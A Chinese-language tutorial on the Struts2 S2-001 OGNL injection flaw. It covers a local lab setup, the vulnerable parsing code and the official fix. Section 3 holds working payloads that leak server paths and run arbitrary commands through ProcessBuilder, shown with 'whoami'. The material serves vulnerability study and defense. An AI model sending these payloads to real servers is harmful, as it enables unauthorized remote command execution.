从零开始学习struts2漏洞 S2-001
字数 2027 2025-08-27 12:33:23
Struts2 S2-001漏洞分析与复现教程
1. 漏洞概述
S2-001是Struts2框架中的一个远程代码执行漏洞,属于OGNL表达式注入类型。该漏洞允许攻击者通过构造特殊的OGNL表达式,在服务器端执行任意代码。
2. 环境搭建
2.1 所需工具
- 操作系统:Windows 10
- 开发工具:IntelliJ IDEA
- 服务器:Apache Tomcat 9.0.7
- Struts2版本:2.0.1(从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip下载)
2.2 项目结构
项目根目录/
├── WEB-INF/
│ ├── lib/ (存放Struts2相关jar包)
│ └── web.xml
├── index.jsp
└── welcome.jsp
2.3 详细步骤
-
创建项目:在IDEA中新建一个Web Application项目
-
添加依赖库:
- 在WEB-INF目录下创建lib文件夹
- 将以下5个核心jar包放入lib目录:
- struts2-core-2.0.1.jar
- xwork-2.0.1.jar
- ognl-2.6.11.jar
- freemarker-2.3.8.jar
- commons-logging-1.0.4.jar
-
配置web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
- 创建JSP页面:
index.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
- 创建Action类:
在src目录下创建com.demo.action包,然后创建LoginAction.java:
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
- 配置struts.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
-
导入jar包:
- 通过File -> Project Structure -> Libraries添加lib目录下的jar包
-
配置Tomcat:
- 在IDEA中配置Tomcat服务器
- 设置部署路径和端口(默认8080)
3. 漏洞利用
3.1 基本验证
在密码框中输入%{1+1}(%需要URL编码为%25),提交后会显示计算结果"2"。
3.2 信息泄露
- 获取Tomcat路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
- 获取Web路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
3.3 命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
修改java.lang.String[]{"whoami"}部分可执行任意命令。
4. OGNL表达式基础
OGNL(Object-Graph Navigation Language)是一种功能强大的表达式语言,具有以下特点:
4.1 OGNL三要素
- 表达式(Expression):规定OGNL操作的内容
- 根对象(Root Object):指定操作的对象
- 上下文环境(Context):规定操作的环境
4.2 表达式功能
- 基本对象树访问:使用点号串联对象引用,如
user.name - 容器变量访问:通过
#符号,如#session.user - 操作符:支持Java操作符及
mod,in,not in等 - 容器操作:
- 数组/List访问:
group.users[0] - Map访问:
#session['mySessionPropKey'] - 构造容器:
- List:
{"green", "red", "blue"} - Map:
#{"key1":"value1", "key2":"value2"}
- List:
- 数组/List访问:
- 静态方法/变量访问:
@class@method(args)或@class@field - 方法调用:如
user.getName() - 投影和选择:
- 投影:
group.userList.{username} - 选择:
?:所有满足条件的元素^:第一个满足条件的元素$:最后一个满足条件的元素
- 投影:
5. 漏洞分析
5.1 关键代码
漏洞位于xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class中的translateVariables方法:
public static Object translateVariables(char open, String expression,
ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while (start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
5.2 漏洞触发流程
- 用户提交包含
%{1+1}的表单 - 第一次解析得到
password字段的值%{1+1} - 第二次解析
%{1+1},计算得到结果2 - 结果被回显到页面中
5.3 根本原因
Struts2错误地使用了递归解析OGNL表达式,导致可以嵌套执行任意OGNL表达式。
6. 漏洞修复
官方修复方案是在translateVariables方法中添加了循环次数限制:
public static Object translateVariables(char open, String expression,
ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// 新增循环计数检查
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
// ...其余代码不变...
}
7. 总结
S2-001漏洞展示了OGNL表达式注入的危险性,通过分析我们可以了解到:
- Struts2框架对用户输入的递归解析存在安全隐患
- OGNL表达式的强大功能在被恶意利用时可导致严重后果
- 修复方案通过限制递归深度来防止表达式无限解析
8. 参考链接
- https://chybeta.github.io/2018/02/06/【struts2-命令-代码执行漏洞分析系列】S2-001/
- http://www.zerokeeper.com/vul-analysis/struts2-command-execution-series-review.html